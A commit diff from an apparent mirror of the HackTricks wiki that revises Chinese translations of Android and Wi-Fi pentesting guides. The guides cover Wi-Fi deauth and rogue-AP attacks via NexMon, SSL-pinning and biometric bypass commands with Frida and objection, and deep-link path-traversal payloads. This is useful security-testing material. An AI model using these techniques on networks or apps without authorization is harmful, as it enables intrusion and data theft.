mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena
This commit is contained in:
parent
4e55ed3344
commit
a623967134
@ -17,7 +17,7 @@
|
|||||||
|
|
||||||
## 先决条件
|
## 先决条件
|
||||||
* 支持的 Broadcom/Cypress 芯片组的 Android 手机(例如 BCM4358/59/43596/4375B1)
|
* 支持的 Broadcom/Cypress 芯片组的 Android 手机(例如 BCM4358/59/43596/4375B1)
|
||||||
* 使用 Magisk ≥ 24 的 Root 权限
|
* 使用 Magisk ≥ 24 的 root 权限
|
||||||
* BusyBox(大多数 ROM/NetHunter 已经包含它)
|
* BusyBox(大多数 ROM/NetHunter 已经包含它)
|
||||||
* 提供以下内容的 NexMon Magisk ZIP 或自编译补丁:
|
* 提供以下内容的 NexMon Magisk ZIP 或自编译补丁:
|
||||||
* `/system/lib*/libnexmon.so`
|
* `/system/lib*/libnexmon.so`
|
||||||
@ -28,7 +28,7 @@
|
|||||||
---
|
---
|
||||||
|
|
||||||
## 刷写 NexMon 补丁(Magisk)
|
## 刷写 NexMon 补丁(Magisk)
|
||||||
1. 下载适合您设备/固件的 ZIP(例如:`nexmon-s10.zip`)。
|
1. 下载适合您设备/固件的 ZIP(示例:`nexmon-s10.zip`)。
|
||||||
2. 打开 Magisk -> 模块 -> 从存储安装 -> 选择 ZIP 并重启。
|
2. 打开 Magisk -> 模块 -> 从存储安装 -> 选择 ZIP 并重启。
|
||||||
该模块将 `libnexmon.so` 复制到 `/data/adb/modules/<module>/lib*/` 并确保 SELinux 标签正确。
|
该模块将 `libnexmon.so` 复制到 `/data/adb/modules/<module>/lib*/` 并确保 SELinux 标签正确。
|
||||||
3. 验证安装:
|
3. 验证安装:
|
||||||
@ -106,7 +106,7 @@ wifite -i wlan0 # 或 aircrack-ng, mdk4 …
|
|||||||
* 使用 `wifite`、`hcxdumptool`、`airodump-ng` 捕获 WPA(2/3-SAE) 握手或 PMKID。
|
* 使用 `wifite`、`hcxdumptool`、`airodump-ng` 捕获 WPA(2/3-SAE) 握手或 PMKID。
|
||||||
* 注入去认证/断开连接帧以强制客户端重新连接。
|
* 注入去认证/断开连接帧以强制客户端重新连接。
|
||||||
* 使用 `mdk4`、`aireplay-ng`、Scapy 等构造任意管理/数据帧。
|
* 使用 `mdk4`、`aireplay-ng`、Scapy 等构造任意管理/数据帧。
|
||||||
* 从手机直接构建流氓 AP 或执行 KARMA/MANA 攻击。
|
* 从手机直接构建恶意 AP 或执行 KARMA/MANA 攻击。
|
||||||
|
|
||||||
Galaxy S10 的性能与外部 USB NIC 相当(~20 dBm TX,2-3 M pps RX)。
|
Galaxy S10 的性能与外部 USB NIC 相当(~20 dBm TX,2-3 M pps RX)。
|
||||||
|
|
||||||
|
|||||||
BIN
src/images/discount.jpeg
Normal file
BIN
src/images/discount.jpeg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 186 KiB |
@ -20,7 +20,7 @@ android-applications-basics.md
|
|||||||
## Smali
|
## Smali
|
||||||
|
|
||||||
有时修改**应用程序代码**以访问**隐藏信息**(可能是经过良好混淆的密码或标志)是很有趣的。然后,反编译apk,修改代码并重新编译可能会很有趣。\
|
有时修改**应用程序代码**以访问**隐藏信息**(可能是经过良好混淆的密码或标志)是很有趣的。然后,反编译apk,修改代码并重新编译可能会很有趣。\
|
||||||
[**在本教程中**,您可以**学习如何反编译APK,修改Smali代码并使用新功能重新编译APK**](smali-changes.md)。这在**动态分析**期间作为几种测试的**替代方案**可能非常有用。然后,**始终记住这个可能性**。
|
[**在本教程中**,您可以**学习如何反编译APK,修改Smali代码并使用新功能重新编译APK**](smali-changes.md)。这在**动态分析**期间作为**多项测试的替代方案**可能非常有用。然后,**始终记住这个可能性**。
|
||||||
|
|
||||||
## Other interesting tricks
|
## Other interesting tricks
|
||||||
|
|
||||||
@ -57,7 +57,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
|||||||
|
|
||||||
**Firebase**
|
**Firebase**
|
||||||
|
|
||||||
特别注意**firebase URL**,并检查其是否配置不当。[有关 Firebase 的更多信息以及如何利用它,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
特别注意**firebase URL**,检查其是否配置不当。[有关 Firebase 的更多信息以及如何利用它,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||||
|
|
||||||
### 应用程序的基本理解 - Manifest.xml, strings.xml
|
### 应用程序的基本理解 - Manifest.xml, strings.xml
|
||||||
|
|
||||||
@ -66,7 +66,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
|||||||
**从 _Manifest.xml_ 中识别的漏洞包括:**
|
**从 _Manifest.xml_ 中识别的漏洞包括:**
|
||||||
|
|
||||||
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试(`debuggable="true"`)的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
|
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试(`debuggable="true"`)的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
|
||||||
- **备份设置**:对于处理敏感信息的应用程序,`android:allowBackup="false"` 属性应明确设置,以防止通过 adb 进行未经授权的数据备份,尤其是在启用 USB 调试时。
|
- **备份设置**:对于处理敏感信息的应用程序,应明确设置 `android:allowBackup="false"` 属性,以防止通过 adb 进行未经授权的数据备份,尤其是在启用 USB 调试时。
|
||||||
- **网络安全**:_res/xml/_ 中的自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
|
- **网络安全**:_res/xml/_ 中的自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
|
||||||
- **导出活动和服务**:在清单中识别导出的活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
|
- **导出活动和服务**:在清单中识别导出的活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
|
||||||
- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应仔细审查。
|
- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应仔细审查。
|
||||||
@ -100,7 +100,7 @@ android-task-hijacking.md
|
|||||||
|
|
||||||
**内部存储**
|
**内部存储**
|
||||||
|
|
||||||
在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统**强制**执行,通常足以满足大多数应用程序的安全需求。然而,开发者有时会使用 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在恶意应用程序)对这些文件的访问。
|
在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统强制执行,通常足以满足大多数应用程序的安全需求。然而,开发人员有时会使用 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 等模式,以**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在恶意应用程序)对这些文件的访问。
|
||||||
|
|
||||||
1. **静态分析:**
|
1. **静态分析:**
|
||||||
- **确保**仔细审查 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用。这些模式**可能会暴露**文件给**意外或未经授权的访问**。
|
- **确保**仔细审查 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用。这些模式**可能会暴露**文件给**意外或未经授权的访问**。
|
||||||
@ -124,7 +124,7 @@ android-task-hijacking.md
|
|||||||
外部存储可以在 `/storage/emulated/0`、`/sdcard`、`/mnt/sdcard` 中访问。
|
外部存储可以在 `/storage/emulated/0`、`/sdcard`、`/mnt/sdcard` 中访问。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 从 Android 4.4(**API 17**)开始,SD 卡具有目录结构,**限制应用程序访问特定于该应用程序的目录**。这防止恶意应用程序获得对其他应用程序文件的读写访问。
|
> 从 Android 4.4(**API 17**)开始,SD 卡具有一个目录结构,**限制应用程序访问特定于该应用程序的目录**。这防止恶意应用程序获得对其他应用程序文件的读写访问。
|
||||||
|
|
||||||
**以明文存储的敏感数据**
|
**以明文存储的敏感数据**
|
||||||
|
|
||||||
@ -135,7 +135,7 @@ android-task-hijacking.md
|
|||||||
|
|
||||||
**接受所有证书**
|
**接受所有证书**
|
||||||
|
|
||||||
出于某种原因,有时开发者会接受所有证书,即使例如主机名与以下代码行不匹配:
|
出于某种原因,有时开发人员会接受所有证书,即使例如主机名与以下代码行不匹配:
|
||||||
```java
|
```java
|
||||||
SSLSocketFactory sf = new cc(trustStore);
|
SSLSocketFactory sf = new cc(trustStore);
|
||||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||||
@ -178,13 +178,13 @@ react-native-application.md
|
|||||||
|
|
||||||
### 超级打包应用程序
|
### 超级打包应用程序
|
||||||
|
|
||||||
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/),超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个可以解压这些应用程序的应用的可能性……以及一种更快的方法,即**执行应用程序并从文件系统中收集解压的文件**。
|
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/),超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个解压缩此类应用程序的应用程序的可能性……以及一种更快的方法,即**执行应用程序并从文件系统中收集解压缩的文件**。
|
||||||
|
|
||||||
### 自动化静态代码分析
|
### 自动化静态代码分析
|
||||||
|
|
||||||
工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能够通过**扫描**应用程序的**代码**来发现**漏洞**。该工具包含一系列**已知源**(指示工具**用户控制的输入**的**位置**)、**汇**(指示工具**危险**的**位置**,恶意用户输入可能造成损害)和**规则**。这些规则指示**源-汇**的**组合**,表明存在漏洞。
|
工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能够通过**扫描**应用程序的**代码**来发现**漏洞**。该工具包含一系列**已知源**(指示工具**用户控制的输入**的**位置**)、**汇**(指示工具**危险**的**位置**,恶意用户输入可能造成损害)和**规则**。这些规则指示**源-汇**的**组合**,表明存在漏洞。
|
||||||
|
|
||||||
凭借这些知识,**mariana-trench 将审查代码并找到可能的漏洞**。
|
通过这些知识,**mariana-trench 将审查代码并找到可能的漏洞**。
|
||||||
|
|
||||||
### 泄露的秘密
|
### 泄露的秘密
|
||||||
|
|
||||||
@ -231,14 +231,14 @@ content-protocol.md
|
|||||||
|
|
||||||
#### 使用模拟器
|
#### 使用模拟器
|
||||||
|
|
||||||
- [**Android Studio**](https://developer.android.com/studio)(您可以创建**x86**和**arm**设备,并且根据 [**此**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本**支持 ARM 库**,无需慢速的 arm 模拟器)。
|
- [**Android Studio**](https://developer.android.com/studio)(您可以创建**x86**和**arm**设备,并且根据 [**此**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本**支持 ARM 库**,无需使用慢速的 arm 模拟器)。
|
||||||
- 学习如何在此页面上设置:
|
- 学习如何在此页面上设置:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
avd-android-virtual-device.md
|
avd-android-virtual-device.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版,您需要创建一个账户。_建议**下载**带有_**VirtualBox**的版本,以避免潜在错误。_)
|
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版,您需要创建一个账户。_建议**下载**带有_**VirtualBox**的版本,以避免潜在错误。_)
|
||||||
- [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer)。
|
- [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer)。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
@ -248,11 +248,11 @@ avd-android-virtual-device.md
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
此外,请注意在 Genymotion 的**Android VM 配置中**,您可以选择**桥接网络模式**(如果您将从不同的 VM 连接到 Android VM 并使用工具,这将非常有用)。
|
此外,请注意在 Genymotion 的**Android VM 配置中**,您可以选择**桥接网络模式**(如果您将从不同的 VM 连接到 Android VM,这将非常有用)。
|
||||||
|
|
||||||
#### 使用物理设备
|
#### 使用物理设备
|
||||||
|
|
||||||
您需要激活**调试**选项,如果您能**root**它,那就更好了:
|
您需要激活**调试**选项,如果您可以**root**它,那就更好了:
|
||||||
|
|
||||||
1. **设置**。
|
1. **设置**。
|
||||||
2. (从 Android 8.0 开始)选择**系统**。
|
2. (从 Android 8.0 开始)选择**系统**。
|
||||||
@ -267,7 +267,7 @@ avd-android-virtual-device.md
|
|||||||
|
|
||||||
**日志记录**
|
**日志记录**
|
||||||
|
|
||||||
开发人员应谨慎公开**调试信息**,因为这可能导致敏感数据泄露。建议使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 来监控应用程序日志,以识别和保护敏感信息。**Pidcat**因其易用性和可读性而受到青睐。
|
开发人员应谨慎公开**调试信息**,因为这可能导致敏感数据泄露。建议使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 监控应用程序日志,以识别和保护敏感信息。**Pidcat**因其易用性和可读性而受到青睐。
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 请注意,从**Android 4.0 及更高版本**开始,**应用程序只能访问自己的日志**。因此,应用程序无法访问其他应用的日志。\
|
> 请注意,从**Android 4.0 及更高版本**开始,**应用程序只能访问自己的日志**。因此,应用程序无法访问其他应用的日志。\
|
||||||
@ -275,40 +275,40 @@ avd-android-virtual-device.md
|
|||||||
|
|
||||||
**复制/粘贴缓冲区缓存**
|
**复制/粘贴缓冲区缓存**
|
||||||
|
|
||||||
Android 的**基于剪贴板**的框架使应用程序能够实现复制粘贴功能,但由于**其他应用程序**可以**访问**剪贴板,可能会暴露敏感数据。因此,至关重要的是**禁用敏感部分的复制/粘贴**功能,例如信用卡详细信息,以防止数据泄露。
|
Android 的**基于剪贴板**的框架使应用程序能够实现复制粘贴功能,但也带来了风险,因为**其他应用程序**可以**访问**剪贴板,可能会暴露敏感数据。对于应用程序的敏感部分(如信用卡详细信息),至关重要的是**禁用复制/粘贴**功能,以防止数据泄露。
|
||||||
|
|
||||||
**崩溃日志**
|
**崩溃日志**
|
||||||
|
|
||||||
如果应用程序**崩溃**并**保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低此风险,避免在崩溃时记录日志,如果必须通过网络传输日志,请确保通过 SSL 通道发送以确保安全。
|
如果应用程序**崩溃**并**保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低此风险,避免在崩溃时记录日志,如果必须通过网络传输日志,请确保通过 SSL 通道发送以确保安全。
|
||||||
|
|
||||||
作为渗透测试者,**请查看这些日志**。
|
作为渗透测试者,**请尝试查看这些日志**。
|
||||||
|
|
||||||
**发送给第三方的分析数据**
|
**发送给第三方的分析数据**
|
||||||
|
|
||||||
应用程序通常集成像 Google Adsense 这样的服务,由于开发人员的不当实施,可能会无意中**泄露敏感数据**。为了识别潜在的数据泄露,建议**拦截应用程序的流量**并检查是否有任何敏感信息被发送到第三方服务。
|
应用程序通常集成像 Google Adsense 这样的服务,由于开发人员的不当实现,可能会**泄露敏感数据**。为了识别潜在的数据泄露,建议**拦截应用程序的流量**并检查是否有任何敏感信息被发送到第三方服务。
|
||||||
|
|
||||||
### SQLite 数据库
|
### SQLite 数据库
|
||||||
|
|
||||||
大多数应用程序将使用**内部 SQLite 数据库**来保存信息。在渗透测试期间,请**查看**创建的**数据库**、**表**和**列**的名称以及所有保存的**数据**,因为您可能会发现**敏感信息**(这将是一个漏洞)。\
|
大多数应用程序将使用**内部 SQLite 数据库**来保存信息。在渗透测试期间,请**查看**创建的**数据库**、**表**和**列**的名称以及所有保存的**数据**,因为您可能会发现**敏感信息**(这将是一个漏洞)。\
|
||||||
数据库应位于 `/data/data/the.package.name/databases`,例如 `/data/data/com.mwr.example.sieve/databases`
|
数据库应位于 `/data/data/the.package.name/databases`,例如 `/data/data/com.mwr.example.sieve/databases`
|
||||||
|
|
||||||
如果数据库保存机密信息并且是**加密的**,但您可以在应用程序中**找到**密码,这仍然是一个**漏洞**。
|
如果数据库保存机密信息并且**加密**,但您可以在应用程序中**找到****密码**,这仍然是一个**漏洞**。
|
||||||
|
|
||||||
使用 `.tables` 枚举表,使用 `.schema <table_name>` 枚举表的列。
|
使用 `.tables` 枚举表,使用 `.schema <table_name>` 枚举表的列。
|
||||||
|
|
||||||
### Drozer(利用活动、内容提供者和服务)
|
### Drozer(利用活动、内容提供者和服务)
|
||||||
|
|
||||||
来自 [Drozer 文档](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf):**Drozer** 允许您**假设 Android 应用程序的角色**并与其他应用程序交互。它可以执行**已安装应用程序可以做的任何事情**,例如利用 Android 的进程间通信(IPC)机制并与底层操作系统交互。\
|
来自 [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf):**Drozer** 允许您**假设 Android 应用程序的角色**并与其他应用程序交互。它可以做**任何已安装应用程序可以做的事情**,例如利用 Android 的进程间通信(IPC)机制并与底层操作系统交互。\
|
||||||
Drozer 是一个有用的工具,可以**利用导出活动、导出服务和内容提供者**,正如您将在以下部分中学习的那样。
|
Drozer 是一个有用的工具,可以**利用导出活动、导出服务和内容提供者**,正如您将在以下部分中学习的那样。
|
||||||
|
|
||||||
### 利用导出活动
|
### 利用导出活动
|
||||||
|
|
||||||
[**如果您想刷新 Android 活动的概念,请阅读此文。**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
[**如果您想刷新 Android 活动的概念,请阅读此文。**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||||
还要记住,活动的代码从**`onCreate`**方法开始。
|
还要记住,活动的代码从**`onCreate`** 方法开始。
|
||||||
|
|
||||||
**授权绕过**
|
**授权绕过**
|
||||||
|
|
||||||
当活动被导出时,您可以从外部应用程序调用其屏幕。因此,如果导出一个包含**敏感信息**的活动,您可能会**绕过**访问它的**身份验证**机制。
|
当一个活动被导出时,您可以从外部应用程序调用其界面。因此,如果一个包含**敏感信息**的活动被**导出**,您可以**绕过**访问它的**身份验证**机制。
|
||||||
|
|
||||||
[**了解如何使用 Drozer 利用导出活动。**](drozer-tutorial/index.html#activities)
|
[**了解如何使用 Drozer 利用导出活动。**](drozer-tutorial/index.html#activities)
|
||||||
|
|
||||||
@ -330,7 +330,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
|||||||
|
|
||||||
#### Tapjacking
|
#### Tapjacking
|
||||||
|
|
||||||
如果未防止tapjacking,您可能会滥用导出活动使**用户执行意外操作**。有关[**tapjacking是什么的更多信息,请查看链接**](#tapjacking)。
|
如果未防止tapjacking,您可能会滥用导出的活动使**用户执行意外操作**。有关[**tapjacking是什么的更多信息,请查看链接**](#tapjacking)。
|
||||||
|
|
||||||
### 利用内容提供者 - 访问和操纵敏感信息
|
### 利用内容提供者 - 访问和操纵敏感信息
|
||||||
|
|
||||||
@ -382,7 +382,7 @@ _请注意,您可以**省略包名**,手机将自动调用应该打开该链
|
|||||||
**路径中的参数**
|
**路径中的参数**
|
||||||
|
|
||||||
您**还必须检查任何深度链接是否在 URL 的路径中使用参数**,例如:`https://api.example.com/v1/users/{username}`,在这种情况下,您可以强制路径遍历,访问类似于:`example://app/users?username=../../unwanted-endpoint%3fparam=value` 的内容。\
|
您**还必须检查任何深度链接是否在 URL 的路径中使用参数**,例如:`https://api.example.com/v1/users/{username}`,在这种情况下,您可以强制路径遍历,访问类似于:`example://app/users?username=../../unwanted-endpoint%3fparam=value` 的内容。\
|
||||||
请注意,如果您在应用程序中找到正确的端点,您可能能够导致**开放重定向**(如果路径的一部分用作域名)、**账户接管**(如果您可以在没有 CSRF 令牌的情况下修改用户详细信息,并且漏洞端点使用了正确的方法)以及任何其他漏洞。更多[信息在这里](http://dphoeniixx.com/2020/12/13-2/)。
|
请注意,如果您在应用程序中找到正确的端点,您可能能够导致**开放重定向**(如果路径的一部分用作域名),**账户接管**(如果您可以在没有 CSRF 令牌的情况下修改用户详细信息,并且漏洞端点使用了正确的方法)以及任何其他漏洞。更多[信息在这里](http://dphoeniixx.com/2020/12/13-2/)。
|
||||||
|
|
||||||
**更多示例**
|
**更多示例**
|
||||||
|
|
||||||
@ -391,7 +391,7 @@ _请注意,您可以**省略包名**,手机将自动调用应该打开该链
|
|||||||
### 传输层检查和验证失败
|
### 传输层检查和验证失败
|
||||||
|
|
||||||
- **证书并不总是被 Android 应用程序正确检查**。这些应用程序常常忽视警告,接受自签名证书,或者在某些情况下,恢复使用 HTTP 连接。
|
- **证书并不总是被 Android 应用程序正确检查**。这些应用程序常常忽视警告,接受自签名证书,或者在某些情况下,恢复使用 HTTP 连接。
|
||||||
- **SSL/TLS 握手期间的协商有时很弱**,使用不安全的密码套件。此漏洞使连接容易受到中间人(MITM)攻击,允许攻击者解密数据。
|
- **SSL/TLS 握手期间的协商有时较弱**,使用不安全的密码套件。此漏洞使连接容易受到中间人(MITM)攻击,允许攻击者解密数据。
|
||||||
- **私密信息泄露**是一个风险,当应用程序通过安全通道进行身份验证,但随后在其他交易中通过非安全通道进行通信。这种方法未能保护敏感数据,例如会话 cookie 或用户详细信息,免受恶意实体的拦截。
|
- **私密信息泄露**是一个风险,当应用程序通过安全通道进行身份验证,但随后在其他交易中通过非安全通道进行通信。这种方法未能保护敏感数据,例如会话 cookie 或用户详细信息,免受恶意实体的拦截。
|
||||||
|
|
||||||
#### 证书验证
|
#### 证书验证
|
||||||
@ -404,17 +404,17 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
|
|||||||
|
|
||||||
#### 流量检查
|
#### 流量检查
|
||||||
|
|
||||||
要检查 HTTP 流量,必须**安装代理工具的证书**(例如,Burp)。如果不安装此证书,经过加密的流量可能无法通过代理可见。有关安装自定义 CA 证书的指南,[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
|
要检查 HTTP 流量,必须**安装代理工具的证书**(例如,Burp)。如果不安装此证书,经过代理的加密流量可能不可见。有关安装自定义 CA 证书的指南,[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
|
||||||
|
|
||||||
针对**API Level 24 及以上**的应用程序需要修改网络安全配置以接受代理的 CA 证书。这一步对于检查加密流量至关重要。有关修改网络安全配置的说明,[**请参考此教程**](make-apk-accept-ca-certificate.md)。
|
针对**API Level 24 及以上**的应用程序需要修改网络安全配置以接受代理的 CA 证书。这一步对于检查加密流量至关重要。有关修改网络安全配置的说明,[**请参考此教程**](make-apk-accept-ca-certificate.md)。
|
||||||
|
|
||||||
如果**Flutter**被使用,您需要遵循[**此页面**](flutter.md)中的说明。这是因为,仅将证书添加到存储中是行不通的,因为 Flutter 有自己有效 CA 的列表。
|
如果使用**Flutter**,您需要遵循[**此页面**](flutter.md)中的说明。这是因为,仅将证书添加到存储中是行不通的,因为 Flutter 有自己有效 CA 的列表。
|
||||||
|
|
||||||
#### 绕过 SSL 钉扎
|
#### 绕过 SSL 钉扎
|
||||||
|
|
||||||
当实施 SSL 钉扎时,绕过它成为检查 HTTPS 流量的必要条件。为此有多种方法可用:
|
当实施 SSL 钉扎时,绕过它成为检查 HTTPS 流量的必要条件。为此有多种方法可用:
|
||||||
|
|
||||||
- 自动**修改** **apk**以**绕过** SSL 钉扎,使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是您无需 root 即可绕过 SSL 钉扎,但您需要删除应用程序并重新安装新版本,这并不总是有效。
|
- 自动**修改** **apk**以**绕过** SSL 钉扎,使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是,您无需 root 权限即可绕过 SSL 钉扎,但您需要删除应用程序并重新安装新版本,这并不总是有效。
|
||||||
- 您可以使用**Frida**(下面讨论)来绕过此保护。这里有一个使用 Burp+Frida+Genymotion 的指南:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
- 您可以使用**Frida**(下面讨论)来绕过此保护。这里有一个使用 Burp+Frida+Genymotion 的指南:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||||
- 您还可以尝试使用[**objection**](frida-tutorial/objection-tutorial.md)**自动绕过 SSL 钉扎**:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
- 您还可以尝试使用[**objection**](frida-tutorial/objection-tutorial.md)**自动绕过 SSL 钉扎**:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||||
- 您还可以尝试使用**MobSF 动态分析**(下面解释)**自动绕过 SSL 钉扎**
|
- 您还可以尝试使用**MobSF 动态分析**(下面解释)**自动绕过 SSL 钉扎**
|
||||||
@ -427,7 +427,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
|
|||||||
### Frida
|
### Frida
|
||||||
|
|
||||||
[Frida](https://www.frida.re) 是一个动态插桩工具包,供开发人员、逆向工程师和安全研究人员使用。\
|
[Frida](https://www.frida.re) 是一个动态插桩工具包,供开发人员、逆向工程师和安全研究人员使用。\
|
||||||
**您可以访问正在运行的应用程序并在运行时挂钩方法以更改行为、更改值、提取值、运行不同的代码...**\
|
**您可以访问正在运行的应用程序并在运行时挂钩方法以更改行为、修改值、提取值、运行不同的代码...**\
|
||||||
如果您想对 Android 应用程序进行渗透测试,您需要知道如何使用 Frida。
|
如果您想对 Android 应用程序进行渗透测试,您需要知道如何使用 Frida。
|
||||||
|
|
||||||
- 学习如何使用 Frida:[**Frida 教程**](frida-tutorial/index.html)
|
- 学习如何使用 Frida:[**Frida 教程**](frida-tutorial/index.html)
|
||||||
@ -438,7 +438,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
|
|||||||
|
|
||||||
### **内存转储 - Fridump**
|
### **内存转储 - Fridump**
|
||||||
|
|
||||||
检查应用程序是否在内存中存储不应存储的敏感信息,如密码或助记符。
|
检查应用程序是否在内存中存储不应存储的敏感信息,例如密码或助记符。
|
||||||
|
|
||||||
使用[**Fridump3**](https://github.com/rootbsd/fridump3),您可以转储应用程序的内存:
|
使用[**Fridump3**](https://github.com/rootbsd/fridump3),您可以转储应用程序的内存:
|
||||||
```bash
|
```bash
|
||||||
@ -471,13 +471,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||||||
```
|
```
|
||||||
### **背景图像**
|
### **背景图像**
|
||||||
|
|
||||||
当您将应用程序置于后台时,Android 会存储应用程序的 **快照**,因此当它恢复到前台时,它会在应用程序之前开始加载图像,看起来像是应用程序加载得更快。
|
当您将应用程序置于后台时,Android 会存储应用程序的 **快照**,因此当它恢复到前台时,它会在应用程序加载之前开始加载图像,看起来就像应用程序加载得更快。
|
||||||
|
|
||||||
然而,如果这个快照包含 **敏感信息**,那么有权限访问快照的人可能会 **窃取这些信息**(请注意,您需要 root 权限才能访问它)。
|
然而,如果这个快照包含 **敏感信息**,那么有权限访问快照的人可能会 **窃取这些信息**(请注意,您需要 root 权限才能访问它)。
|
||||||
|
|
||||||
快照通常存储在: **`/data/system_ce/0/snapshots`**
|
快照通常存储在: **`/data/system_ce/0/snapshots`**
|
||||||
|
|
||||||
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止屏幕截图的捕获。使用此标志,窗口内容被视为安全,防止其出现在屏幕截图中或在不安全的显示器上查看。
|
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止屏幕截图捕获。使用此标志后,窗口内容被视为安全,防止其出现在屏幕截图中或在不安全的显示器上查看。
|
||||||
```bash
|
```bash
|
||||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||||
```
|
```
|
||||||
@ -487,24 +487,24 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
|||||||
|
|
||||||
### 意图注入
|
### 意图注入
|
||||||
|
|
||||||
开发人员经常创建代理组件,如活动、服务和广播接收器,这些组件处理这些意图并将其传递给 `startActivity(...)` 或 `sendBroadcast(...)` 等方法,这可能存在风险。
|
